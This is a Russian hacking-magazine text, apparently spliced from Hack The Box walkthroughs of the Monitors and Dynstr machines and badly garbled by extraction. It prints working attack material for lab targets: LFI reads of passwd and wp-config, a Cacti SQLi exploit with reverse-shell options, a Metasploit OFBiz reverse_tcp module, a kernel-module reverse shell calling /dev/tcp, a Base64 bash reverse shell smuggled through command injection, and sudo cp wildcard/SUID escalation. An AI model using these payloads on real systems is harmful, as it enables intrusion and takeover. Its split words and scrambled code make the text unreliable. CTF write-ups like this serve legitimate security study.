исполь зуя 128 потоков (опция ):

-e 
ap --plugins-detection aggressive

-t

 ap 
 128  

wpscan --url http://monitors.htb -e --plugins-detection 
aggressive -t --api-token [token] 

Об наружен ные пла гины

Пот ратив нес коль ко минут, мы получа ем отчет, в котором нап ротив най ден- 
ного в агрессив ном режиме пла гина сто ит помет ка «1 vulnerability identied».
Зна чит, на целевом сай те уста нов лен уяз вимый пла гин Spritz 1.0. Заод но нам
дали , где есть опи сание уяз вимос ти. Но если у тебя спе- 
циали зиро ван ный дистр вро де Kali Linux, то база ExploitDB уже есть на тво ем
дис ке и ты можешь исполь зовать ути литу searchsploit, что бы искать по ней.

ссыл ку на Exploit-DB

searchsploit 44544 
searchsploit -p php/webapps/44544.php 

Экс пло ит в локаль ной базе searchsploit

Опи сание экс пло ита 44544 для пла гина Spritz 1.0

Из опи сания экс пло ита мы видим, что пла гин уяз вим к LFI — локаль ному
вклю чению фай лов.

Óÿçâèìîñòü LFI

В опи сании уяз вимос ти находим и инс трук цию по экс плу ата ции. Давай про- 
верим уяз вимость, про читав файл ./etc/passwd

curl http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.
content.filter.php?url=/../../../..//etc/passwd 

Со дер жимое фай ла /etc/passwd

Так как на хос те раз вернут веб-сер вер, а на нем работа ет целая CMS, то пер- 
вое наше дей ствие — это поп робовать получить учет ные дан ные поль зовате- 
лей. Высока веро ятность, что эти учет ные дан ные подой дут и при логине
в сис тему. В слу чае с WordPress искать сле дует в фай ле с нас трой ками
для под клю чения к базе дан ных .wp-config.php

curl "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.
spritz.content.filter.php?url=/../../../..//var/www/wordpress/
wp-config.php"

Учет ные дан ные для под клю чения к базе дан ных

Я сра зу поп робовал этот пароль для авто риза ции в WordPress в качес тве
адми на, но это не при нес ло никаких резуль татов. Так как мы можем читать
фай лы с хос та, поищем этим спо собом дру гую точ ку вхо да. У меня есть два
спис ка (для Windows и Linux) фай лов, который сто ит про верять. Фаз зить
будем с помощью Burp Intruder.

Вклад ка Burp Intruder — Position

Ре зуль тат ата ки

Мы натыка емся на файл кон фигура ции Apache 

, где находим поль зовате ля .
Вир туаль ный хост  сра зу добав ляем в 

 а потом смот рим. Нас встре чает фор ма авто риза ции.

/etc/apache2/sites-
enable/000-default.conf admin@monitors.htb

cacti-admin.monitors.htb
,/etc/hosts

10.10.10.238 cacti-admin.monitors.htb 

Фор ма авто риза ции

ÒÎ×ÊÀ ÎÏÎÐÛ

Ав торизо вать ся получа ется как поль зователь  с паролем

, который слу жил для под клю чения к базе дан ных.

admin
BestAdministrator@2020!

Стар товая стра ница сай та

Нас встре чает сис тема управле ния кон тентом под наз вани ем Cacti, при чем
мы сра зу видим ее вер сию — 1.2.12. А раз у нас сно ва готовый про дукт, мы
опять поищем готовые экс пло иты при помощи searchsploit.

searchsploit "Cacti 1.2.12"
searchsploit -p php/webapps/49810.py 

По иск экс пло ита с помощью searchsploit

На ходим экс пло ит имен но для этой вер сии Cacti. Он экс плу ати рует SQL-инъ- 
екцию. Пос ле пер вого запус ка узна ем, что он дол жен дать нам реверс-шелл.
Нуж но ука зать лишь адрес сво его хос та и порт для обратно го под клю чения.

Справка: реверс-шелл
Об ратный шелл — это под клю чение, которое акти виру ет ата куемая машина,
а мы при нима ем и таким обра зом под клю чаем ся к ней, что бы выпол нять
коман ды от лица поль зовате ля, который запус тил шелл. Для при ема соеди- 
нения необ ходимо соз дать на локаль ной машине listener, то есть «слу- 
шатель».

В таких слу чаях при годит ся  — readline-обо лоч ка, которая в чис ле
про чего поз воля ет поль зовать ся исто рией команд. Она обыч но дос тупна
в репози тории дис три бути ва.

rlwrap

apt install rlwrap 

В качес тве самого лис тенера при этом мож но исполь зовать широко извес- 
тный netcat.

 rlwrap nc -lvp [port] 

А теперь выпол ним экс пло ит. Переда ем адрес хос та и учет ные дан ные, а так- 
же адрес локаль ного хос та и порт для обратно го под клю чения. Пос ле запус ка
сра зу же получим бэк коннект.

 
 

python3 49810.py -t http://cacti-admin.monitors.htb -u admin -p
'BestAdministrator@2020!' --lhost 10.10.14.126 --lport 4321 

За пуск экс пло ита

Бэк коннект в лис тенере

Продолжение статьи →
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Итак, мы получи ли шелл. Най ти нап равле ния для повыше ния при виле гий нам
в оче ред ной раз помогут скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате.

Privilege Escalation
Awesome Scripts SUITE

Что бы вос поль зовать ся скрип том, его нуж но сна чала заг рузить на локаль- 
ный хост.

wget https://github.com/carlospolop/privilege-escalation-awesome-
scripts-suite/blob/master/linPEAS/linpeas.sh 

Так как на сер вере отсутс тву ют прог раммы  и , мы не можем заг- 
рузить файл с локаль ного веб-сер вера. Тог да будем исполь зовать .

На сер вере откро ем лис тенер и уста новим лимит ожи дания пять секунд,
при этом весь вывод перенап равим в файл.

curl wget
netcat

nc  5 -lp 5432 -w > /tmp/linpeas.sh 

На локаль ном хос те под клю чим ся к лис тенеру и запишем туда наш скрипт.

cat linpeas.sh | nc 10.10.10.238 5432

На выходе получа ем огромное количес тво информа ции. Изу чим ее и отме тим
важ ные для нас вещи:

Нам дос тупен .• runc
Есть запущен ный Docker.•
Есть прос лушива емые толь ко на локаль ном хос те пор ты.•
Нам дос тупны фай лы из домаш ней дирек тории поль зовате ля.•
Есть инте рес ный файл .• cacti-backup.service

Дос тупные Docker и runc

Фай лы в домаш ней дирек тории поль зовате ля

Прос лушива емые пор ты

Фай лы бэкапов

Нач нем с пос ледне го пун кта и гля нем файл 

.

/lib/systemd/system/cacti-
backup.service

Со дер жимое фай ла cacti-backup.service

От сюда мы узна ем, что от име ни поль зовате ля  запус кает ся скрипт

.

www-data
/home/marcus/.backup/backup.sh

Со дер жимое фай ла backup.sh

В скрип те находим учет ные дан ные. А най дя новый пароль, сра зу же про веря- 
ем его вез де. Так мы авто ризу емся по SSH от име ни поль зовате ля .marcus

Флаг поль зовате ля

Ïîãðóæåíèå â Docker

Итак, мы выяс нили, что на машине работа ет Docker, а так же есть прос лушива- 
емые для localhost пор ты. Для начала опре делим, за что отве чает порт 8443.
Выпол ним под клю чение к пор ту с помощью . Ког да нам не отве тят,

отпра вим зап рос GET HTTP. На этот раз ответ есть.

netcat

nc 127.0.0.1 8443 
GET / HTTP 

Под клю чение к пор ту 8443

Кро ме того, нам сооб щают, что сер вер работа ет по про токо лу HTTPS. Давай
про кинем порт с помощью SSH и будем тун нелиро вать тра фик с локаль ного
пор та 8443 на порт 8443 сер вера. Пос ле чего обра тим ся к уда лен ному сер- 
вису по адре су  через бра узер.https://127.0.0.1:8443/

ssh -L 8443:127.0.0.1:8443 marcus@10.10.10.238 

Стар товая стра ница сай та

Нас встре чает ошиб ка 404, но нас это не оста новит. Поп робу ем прос каниро- 
вать фай лы и дирек тории. Возь мем спи сок  из набора кру тых
спис ков . А для перебо ра я исполь зую тот же Burp Intruder.

common.txt
Seclists

Ре зуль тат перебо ра катало гов

Наш лось мно го стра ниц, которые отве чают редирек том. Перей дем на одну
из них и получим фор му авто риза ции Apache OFBiz.

Стар товая стра ница сай та

 — это фрей мворк, который обес печива ет под дер жку общей

модели дан ных для боль шого набора биз нес-про цес сов. Все при ложе ния
стро ятся вок руг еди ной архи тек туры, исполь зующей общие ком понен ты
для дан ных, логики и про цес сов. Так как мы наш ли новую тех нологию, мы
прос то обя заны сра зу же про верить наличие готовых экс пло итов.

Apache OFBiz

По иск докумен тирован ных уяз вимос тей в Apache OFBiz

Так мы находим уяз вимость, име ющую иден тифика тор CVE-2020-9496. Идея
в том, что поль зователь, не про шед ший про вер ку под линнос ти, может вос- 
поль зовать ся этой уяз вимостью, отпра вив вре донос ный HTTP-зап рос, содер- 
жащий соз данную полез ную наг рузку XML в теле HTTP-зап роса (OFBiz
исполь зует уяз вимые вер сии биб лиотек Apache Commons BeanUtils и Apache
ROME).

Экс плу ата ция этой уяз вимос ти может при вес ти к уда лен ному выпол нению
кода (RCE) в кон тек сте поль зовате ля, запус кающе го при ложе ние. По иден- 
тифика тору находим уже реали зован ный в Metasploit Framework экс пло ит.

search CVE-2020-9496 

По луче ние экс пло ита в Metasploit Framework

Вы бира ем дан ный модуль в Metasploit Framework, затем запол няем зна чение
парамет ров: адрес хос та и порт, а так же тип наг рузки. В качес тве наг рузки я
выб рал ста биль ный Meterpreter для Linux x64.

msfconsole 
use exploit/linux/http/apache_ofbiz_deserialization 
set RHOSTS 127.0.0.1 
set RPORT 8443 
set payload linux/x64/meterpreter/reverse_tcp 
set LHOST tun0 
set LPORT 6543 
set forceexploit true
run 

По луче ние шел ла Meterpreter

Та ким обра зом мы про ника ем в Docker и работа ем в кон тек сте поль зовате ля
root.

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Итак, мы — рут, но в «Докере». Мож но сно ва запус кать скрипт типа LinPEAS,
но в слу чае с докер-кон тей нером советую исполь зовать дру гой скрипт
для раз ведки — . Он ищет пути повысить при виле гии или сбе жать
из Docker и даже про веря ет некото рые экс пло иты. Заг рузим его средс тва ми
Metasploit, получим шелл, дадим пра ва на выпол нение и запус тим.

Deepce

upload ~/tmp/deepce.sh /tmp 
shell 
chmod +x /tmp/deepce.sh 
/tmp/deepce.sh 

Ре зуль тат работы Deepce

Ви дим под све чен ную при виле гию . Иног да при ложе нию
в «Докере» может пот ребовать ся выпол нить при виле гиро ван ную опе рацию
для работы. Тог да Docker поз воля ет поль зовате лю добавить в кон тей нер
допол нитель ные при виле гии (нап ример, ). В этом слу чае при- 
ложе ния, выпол няемые обыч ным поль зовате лем, смо гут совер шать при виле- 
гиро ван ные опе рации без пре дос тавле ния им всех прав рута.

SYS_MODULE

SYS_MODULE

В дан ном слу чае при виле гия  поз воля ет кон тей неру добав лять
или уда лять модули ядра хос товой сис темы. Это поз воля ет нам исполь зовать
сле дующий экс пло ит (в реверс-шелл встав ляем адрес хос товой сис темы):

SYS_MODULE

#include <linux/kmod.h>
#include <linux/module.h>

MODULE_LICENSE("");
MODULE_AUTHOR("");
MODULE_DESCRIPTION("");
MODULE_VERSION("");

   char* argv[] = {
   "/bin/bash",
   "-c",
   "bash -i >& /dev/tcp/172.17.0.1/8765 0>&1",
   NULL
};

    static char* envp[] = {
   "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/
bin",
   NULL
};

    static int __init reverse_shell_init(void) {
       return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

    static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Фун кция  исполь зует ся для соз дания про цес сов поль- 

зователь ско го режима из прос транс тва ядра и при нима ет три аргу мен та:
,  и .  зас тавля ет модуль ядра ждать,

пока заг рузчик выпол нит прог рамму. Ниже при вожу .

call_usermodehelper

argv envp UMH_WAIT_EXEC UMH_WAIT_EXEC
Makefile

 obj-m +=exploit.o 
all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 
clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 

За киды ваем и , и  в Docker, а затем собира ем коман дой
.

exploit.c Makefile
make

Стар товая стра ница сай та

Те перь в сес сии SSH от име ни поль зовате ля  запус каем лис тенер:markus

nc -lvp 8765 

Те перь заг ружа ем модуль ядра в Docker и ловим бэк коннект.

insmod exploit.ko 

Флаг рута

Поз драв ляю, мы толь ко что зах ватили машину и име ем над ней пол ный кон- 
троль.

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/common.txt
https://github.com/danielmiessler/SecLists
https://github.com/stealthcopter/deepce
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ВЗЛОМ

В этой статье мы погово рим об экс плу ата- 
ции динами чес кого DNS, обна ружим
и заюзаем баг OS Command Injection, а так- 
же исполь зуем ошиб ку в поль зователь ском
скрип те и повысим при виле гии до рута
копиро вани ем фай лов. Все это поможет
нам прой ти сред нюю по слож ности машину
Dynstr с пло щад ки .Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

IP машины — , добав ляем его в , что бы обра щать ся

по име ни:

10.10.10.244 /etc/hosts

10.10.10.244    dynstr.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

На ходим три откры тых пор та: 22 (служ ба SSH), 53 (служ ба DNS) и 80
(веб-сер вер Apache). На SSH нам ловить нечего, но мож но сра зу пос мотреть,
что может дать DNS. В пер вую оче редь нас инте ресу ют новые домен ные име- 
на и сер веры:

host -l 10.10.10.244 

Про вер ка DNS-сер вера

Но DNS нам ничего не вер нул, поэто му перехо дим к вебу. Вни матель но
осмотрим ся на сай те и поищем любую потен циаль но полез ную информа цию.
Сайт ока зал ся очень информа тив ным — пря мо на глав ной стра нице находим
мно жес тво новых доменов, один адрес элек трон ной поч ты и даже какие-то
учет ные дан ные.

Глав ная стра ница сай та

Ин форма ция для свя зи — адрес элек трон ной поч ты

Сра зу же добавим най ден ные DNS в  и еще раз про тес тиру ем

каж дое из них, но уже с помощью .

/etc/hosts
dnsrecon

10.10.10.244 dynstr.htb dnsalias.htb dynamicdns.htb no-ip.htb dyna.
htb 

dnsrecon -a dnsalias.htb 
dnsrecon -a dynamicdns.htb 
dnsrecon -a no-ip.htb 
dnsrecon -a dyna.htb 

Про вер ка най ден ных имен DNS

Сно ва без резуль тат но. Поэто му воз вра щаем ся к вебу. Так как мы видим толь- 
ко одну стра ницу сай та, есть смысл поис кать дру гой кон тент.

Ñêàíèðîâàíèå âåá-êîíòåíòà

Су щес тву ет мно го ути лит для перебо ра URL в поис ках незалин кован ного кон- 
тента. Нап ример,  или . Но я с недав них пор пред почитаю лег- 
ковес ный . При запус ке исполь зуем сле дующие парамет ры:

dirsearch dirb
ffuf

 — URL;• -u
 — сло варь (исполь зуем directory-list-2.3-medium из набора Seclists);• -w
 — количес тво потоков.• -t

ffuf 
 120 

-u http://dynstr.htb/FUZZ -w ~/tmp/wordlists/WebContent/dirs/
directory-list-2.3-medium.txt -t

Ре зуль тат ска ниро вания катало гов с помощью ffuf

В резуль тате я нашел нес коль ко катало гов. Дирек тория  обыч но

содер жит вспо мога тель ный кон тент, такой как скрип ты, кар тинки, шриф ты
и сти ли, поэто му она нам неин терес на. При обра щении к фай лу 

 получа ем ответ 403 Forbidden, что озна чает огра ниче ние или отсутс- 

твие дос тупа к матери алу на стра нице. Куда инте рес нее дирек тория .

Давай пов торим ска ниро вание, но уже в этом катало ге.

assets

server-
status

nic

ffuf 
 120 

-u http://dynstr.htb/nic/FUZZ -w ~/tmp/wordlists/WebContent/
dirs/directory-list-2.3-medium.txt -t

Ре зуль тат ска ниро вания катало гов с помощью ffuf

Мы находим единс твен ную стра ницу , при обра щении к которой

получа ем ответ — .

update
badauth

 curl http://dynstr.htb/nic/update ; echo

Об ращение к стра нице /nic/update

По ка неяс но, что это, но давай поищем этот каталог в Google. Может ока зать- 
ся, что это извес тная тех нология, и тог да мы смо жем почитать докумен тацию
и открыть какие-то допол нитель ные воз можнос ти или даже ска чать готовые
экс пло иты. Гуг лим , что бы най ти точ ное сов падение, и 

 при водит нас к NO-IP DDNS.
/nic/update пер вая же

ссыл ка

По иск катало га /nic/update

Òåõíîëîãèÿ DDNS

DDNS (динами чес кий DNS) — это тех нология, которая поз воля ет обновлять
информа цию на сер вере DNS на лету и, если это нуж но, авто мати чес ки.
DDNS при меня ется для того, что бы наз начить пос тоян ное домен ное имя
устрой ству с динами чес ким IP. Тог да дру гие хос ты смо гут обра щать ся к нему
по домену или даже узна вать, что IP-адрес изме нил ся.

На сай те NO-IP узна ём, что для катало га  при сутс тву ет авто- 

риза ция: в заголов ке  нуж но отпра вить закоди рован ную

в Base64 пару . Их мы как раз наш ли на сай те. Вдо бавок
к авто риза ции тут при сутс тву ет еще два аргу мен та:  и . Выпол- 

ним зап рос на обновле ние, который ука зан в докумен тации:

/nic/update
Authorization

username:password
hostname myip

curl 
     | 
'http://dynstr.htb/nic/update?hostname=dynstr.htb&myip=10.10.14.

18' -H "Authorization: Basic $(echo -n 'dynadns:sndanyd' base64)"

Вы пол нение зап роса

По луча ем ошиб ку 911 — ука зан ное имя DNS недей стви тель но. Тог да я решил
переб рать все име ющиеся у меня DNS-име на и написал для это го неболь- 
шой скрипт на Bash:

#!/bin/bash

dns for in dynstr.htb dnsalias.htb dynamicdns.htb no-ip.htb dyna.htb 
do

         echo -n "DNS: $dns; "

     | 
       curl "http://dynstr.htb/nic/update?hostname=$dns&myip=10.10.
14.18" -H "Authorization: Basic $(echo -n 'dynadns:sndanyd' base64)
"
done

Пе ребор DNS-имен

Но на каж дый свой зап рос я получил зна комую ошиб ку 911. Сно ва смот рим
на докумен тацию и замеча ем, что исполь зован под домен (при мер из справ- 
ки — ). Это навело меня на мысль поп робовать раз ные

сочета ния име ющих ся имен DNS как доменов и под доменов. Нем ного видо- 
изме ним скрипт:

mytest.example.com

#!/bin/bash

dns for in dynstr.htb dnsalias.htb dynamicdns.htb no-ip.htb dyna.htb 
do

dns2        for in dynstr dnsalias dynamicdns no-ip dyna 
       do

                  echo -n -e "DNS: $dns2.$dns; "

    
 | 

               curl "http://dynstr.htb/nic/update?hostname=$dns2.
$dns&myip=10.10.14.18" -H "Authorization: Basic $(echo -n 'dynadns:
sndanyd' base64)"
       done
done

Ре зуль тат работы скрип та

ÒÎ×ÊÀ ÂÕÎÄÀ. ÒÅÑÒÈÐÎÂÀÍÈÅ ÏÀÐÀÌÅÒÐÎÂ

Сре ди отве тов сер вера есть мно го успешных. Куда идти даль ше, в докумен- 
тации не ска зано, поэто му я решил отно сить ся к это му сер вису как к обыч- 
ному веб-при ложе нию и поис кать типич ные уяз вимос ти. Конеч но же, начина- 
ем тес тировать парамет ры, так как мы можем ими манипу лиро вать. Но спер- 
ва для удоб ной работы сос тавим зап рос в Burp Repeater:

  GET /nic/update?hostname=dyna.no-ip.htb&myip=10.10.14.18 HTTP/1.1
 Host: dynstr.htb

 Authorization: Basic ZHluYWRuczpzbmRhbnlk

Зап рос и ответ через Burp Repeater

Все работа ет, зна чит, зап рос сос тавлен вер но. Пер вым делом поп робу ем
уста новить реак цию на какие-либо спе циаль ные сим волы. Для это го
перенап равим зап рос в Burp Intruder и на вклад ке Position пос тавим четыре
позиции: перед зна чени ем каж дого парамет ра и пос ле зна чения. В качес тве
спис ка для перебо ра у меня есть файл со все ми печата емы ми сим волами.
Пос ле завер шения ата ки сор тиру ем зап росы по дли не отве та.

Burp Intruder — вклад ка Position

Burp Intruder — вклад ка Payloads

Ре зуль тат ата ки

Ви дим, что, если отправ лять точ ку или сим вол «пря мая кавыч ка», сер вер
реаги рует ина че.

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/darkoperator/dnsrecon
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://www.noip.com/integrate/request
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ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ

Óÿçâèìîñòü OS ñommand injection

Раз наш ли реак цию на кавыч ку, нуж но про верять раз ные вари анты инъ екций.
Пос коль ку сер вер чувс тви телен к кавыч ке имен но в пер вой позиции, SQL-
инъ екцию про вер нуть вряд ли получит ся. Тог да поп робу ем инжек тнуть коман- 
ды. У меня свои сло вари для их поис ка, но ты можешь поис кать раз ные сбор- 
ки на GitHub (мож но взять, нап ример, ).эту

На вклад ке Payloads очи щаем заг ружен ные сим волы и заг ружа ем сло варь
с тес товыми наг рузка ми, пос ле чего запус каем ата ку. Пос ле ее завер шения
сно ва сор тиру ем зап росы по дли не отве та и получа ем рабочие наг рузки.

Ре зуль тат ата ки

От пра вим наг рузку  (в URL кодиров ке

) в Burp Repeater и пов торим зап рос.

& ifconfig &
%22%26%20ifconfig%20%26%22

Про вер ка наг рузки в Burp Repeater

В отве те получа ем информа цию о сетевых интерфей сах, а зна чит, коман да
работа ет. Давай сра зу кинем реверс-шелл.

Так как мы будем выпол нять бэк коннект, сна чала необ ходимо соз дать лис- 
тенер, который будет при нимать дан ное соеди нение.

Справка: реверс-шелл
Об ратный шелл — это под клю чение, которое акти виру ет ата куемая машина,
а мы при нима ем и таким обра зом под клю чаем ся к ней, что бы выпол нять
коман ды от лица поль зовате ля, который запус тил шелл. Для при ема соеди- 
нения необ ходимо соз дать на локаль ной машине listener, то есть «слу- 
шатель».

В таких слу чаях при годит ся  — readline-обо лоч ка, которая в чис ле
про чего поз воля ет поль зовать ся исто рией команд. Она обыч но дос тупна
в репози тории дис три бути ва.

rlwrap

apt install rlwrap 

В качес тве самого лис тенера при этом мож но исполь зовать широко извес- 
тный netcat.

 rlwrap nc -lvp [port] 

Ис поль зовать будем обыч ный реверс-шелл для TCP: 

. Что бы обой ти исполь зование спе циаль ных сим- 

волов, закоди руем шелл в Base64.

bash -i &>/dev/tcp/
10.10.14.79/4321 <&1

Ко диро вание шел ла

Те перь в отправ ляемой наг рузке мы будем декоди ровать шелл и перенап- 
равлять в коман дную обо лоч ку. Ниже при вожу новую наг рузку в «чис том»
и URL-кодиро ван ном виде:

"& echo YmFzaCAtaSAmPi9kZXYvdGNwLzEwLjEwLjE0Ljc5LzQzMjEgPCYxCg== 
|base64 -d|bash &" 

%22%26%20echo%20YmFzaCAtaSAmPi9kZXYvdGNwLzEwLjEwLjE0Ljc5LzQzMjEgPCYxC
g%3d%3d%20%7cbase64%20-
d%7cbash%20%26%22 

Пос ле отправ ки наг рузки в окне лис тенера наб люда ем под клю чение.

Бэк коннект в окне лис тенера

Ïðîäâèæåíèå

Что бы поис кать даль нейшие пути для прод вижения, исполь зуем скрип ты
PEASS.

Справка: скрипты PEASS для Linux
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате.

Privilege Escalation
Awesome Scripts SUITE

Что бы вос поль зовать ся скрип том, его нуж но сна чала заг рузить на локаль- 
ный хост.

wget https://github.com/carlospolop/privilege-escalation-awesome-
scripts-suite/blob/master/linPEAS/linpeas.sh 

Те перь надо заг рузить его на уда лен ный хост. В дирек тории со скрип том
на локаль ной машине запус тим с помощью Python прос той веб-сер вер. Пос- 
ле выпол нения этой коман ды веб-сер вер будет прос лушивать порт 8000.

python3 -m http.server 

А теперь с помощью того же  на целевой машине заг рузим скрипт
с локаль ного хос та на уда лен ный. Пос ле заг рузки необ ходимо дать фай лу
пра во на выпол нение и выпол нить скрипт.

wget

wget http://[ip_локального_хоста]:8000/linpeas.sh 
chmod +x linpeas.sh 
./linpeas.sh 

Най ден ные фай лы SSL/SSH

В выводе LinPEAS обна ружим, что нам дос тупны для чте ния фай лы в домаш- 
ней дирек тории поль зовате ля . Помимо стан дар тных фай лов,
в дирек тории SSH находим еще два инте рес ных фай ла. Гля нем содер жимое

. Файл содер жит логи трас сиров ки при ложе ния, а в

кон це фай ла най дем чте ние при ват ного клю ча SSH.

bindmgr

strace-C62796521.txt

При ват ный ключ в strace-C62796521.txt

В клю че при сутс тву ет сим вол перено са стро ки . Что бы записать его в файл
в нуж ном фор мате, пол ностью копиру ем этот ключ и выводим с помощью

 с парамет рами .

\n

echo -ne

  
 

echo -ne "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1...gMEBQ==\
n-----END OPENSSH PRIVATE KEY-----\n" > id_rsa 
chmod 0600 id_rsa 

При попыт ке под клю чить ся с этим клю чом у нас зап росят пароль. Пос коль ку
дру гих путей для прод вижения не обна ружи лось, я решил разоб рать ся,
почему ключ не работа ет. За отве тами я полез в кон фиги SSH.

В фай ле  вни мание прив лекла оди нокая опция

, которая ука зыва ет, дол жен ли sshd про верять имя хос та и, исполь зуя
это имя, све рять IP-адрес, передан ный кли ентом, с получен ным от DNS.

/etc/ssh/sshd_config
UseDNS

Со дер жимое фай ла sshd_cong

Вро де бы ничего страш ного, но меня сму тило исполь зование динами чес кого
DNS. Тут я решил сде лать имя для сво его хос та, бла го обновле ние выпол- 
няет ся с помощью ути литы , а она при сутс тву ет на сер вере.nsupdate

Îáíîâëåíèå DDNS

Пер вым делом взгля нем на кон фигура цион ный файл Bind — 

.

/etc/bind/
named.conf.local

Со дер жимое фай ла named.conf.local

Из него мы узна ем, какие есть зоны DNS, а так же исполь зуемые для обновле- 
ния каж дой из них клю чи. Клю чи слу жат для аутен тифика ции кли ента и рас- 
положе ны в дирек тории . Они сос тоят из двух дирек тив: алго рит- 
ма про вер ки и сек рета.

/etc/bind/

Об наружен ные на сер вере клю чи

Со дер жимое фай лов клю чей

Да вай добавим новую запись в зону  с помощью . Как мы

видели в фай ле , для этой зоны исполь зует ся ключ 
.

dyna.htb nsupdate
named.conf.local infra-

key

nsupdate -k /etc/bind/infra.key 

А теперь вно сим две записи:  и . Запись  нуж на для свя зи домена с IP-

адре сом сер вера. Я соз дам  cо сво им IP 10.10.14.117,

при этом уста нав лива ем TTL рав ным 86 400 (это зна чение по умол чанию —
сут ки). Запись PTR — это пря мая про тиво полож ность записи , то есть она

свя зыва ет IP-адрес с доменом (толь ко зна чение TTL по умол чанию 300,
это пять минут).

A PTR A
ralf.infra.dyna.htb

A

update add ralf.infra.dyna.htb. 86400 A 10.10.14.117 
update add 117.14.10.10.in-addr.arpa 300 PTR ralf.infra.dyna.htb 
send 

Пос ле обновле ния записей DNS под клю чим ся к хос ту с име ющим ся у нас
клю чом SSH.

ssh -i id_rsa bindmgr@10.10.10.244 

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Хоть у нас и изме нил ся кон текст поль зовате ля, но, если запус тить LinPEAS
еще раз, мно го допол нитель ных дан ных мы не получим. Зато в зависи мос ти
от кон тек ста поль зовате ля мы можем видеть раз ные нас трой ки sudoers
(коман да ).sudo -l

Нас трой ки sudoers

Ви дим, что любой поль зователь (ALL) может выпол нить коман ду 

 в при виле гиро ван ном кон тек сте без вво да пароля
( ). Это не стан дар тный скрипт, а поль зователь ский, поэто му

не исклю чены уяз вимос ти. Откры ваем скрипт и обна ружи ваем, что он
зачем-то под клю чает фай лы в дирек торию .

/usr/local/
bin/bindmgr.sh
NOPASSWD

/etc/bin/named.bindmgr

Код скрип та

В начале скрип та при сутс тву ет про вер ка вер сии, которая счи тыва ется
из фай ла  в текущей дирек тории. Если получен ная вер сия боль ше,

чем в фай ле , то выпол нение скрип та
про дол жает ся.

.version
/etc/bind/named.bindmgr/.version

Код скрип та

Прав да, файл  отсутс тву ет./etc/bind/named.bindmgr/.version

Про вер ка фай ла /etc/bind/named.bindmgr/.version

Да лее в скрип те все фай лы копиру ются из текущей дирек тории в каталог 
./etc/bind/named.bindmgr/

Код скрип та

Толь ко коман да копиро вания все го содер жимого содер жит недочет, свя зан- 
ный с исполь зовани ем сим вола . Здесь все име на фай лов будут прос то

встав лены в коман дную стро ку. Таким обра зом, если в текущую дирек торию
попадет файл с наз вани ем, подоб ным парамет ру коман ды, то коман да
не смо жет разоб рать, что ей дают на вход — параметр или аргу мент. В при- 
ори тете это будет параметр. То есть если в текущей дирек тории ока жет ся
файл с име нем  и дру гие фай лы, то коман да  будет вос при- 
нята как , что при ведет к рекур сивно му копиро- 

ванию!

*

-r cp * /test/
cp -r file1 file2 /test/

По луча ется, что мож но ско пиро вать любой файл, а так же исполь зовать
любой параметр коман ды . Любая коман да в Linux — это очень мощ ный

инс тру мент. К при меру,  может ско пиро вать файл с сох ранени ем его атри- 

бутов (параметр ). А для нас очень важен такой атри бут, как бит

SUID.

cp
cp

--preserve

Справка: бит SUID
Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла- 
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные
сис темы игно риру ют S-атри бут, уста нов ленный shell-скрип тами.

Так мы можем ско пиро вать в текущую дирек торию файл обо лоч ки  и наз- 

начить ему S-атри бут. Соз дадим в текущей дирек тории файл 
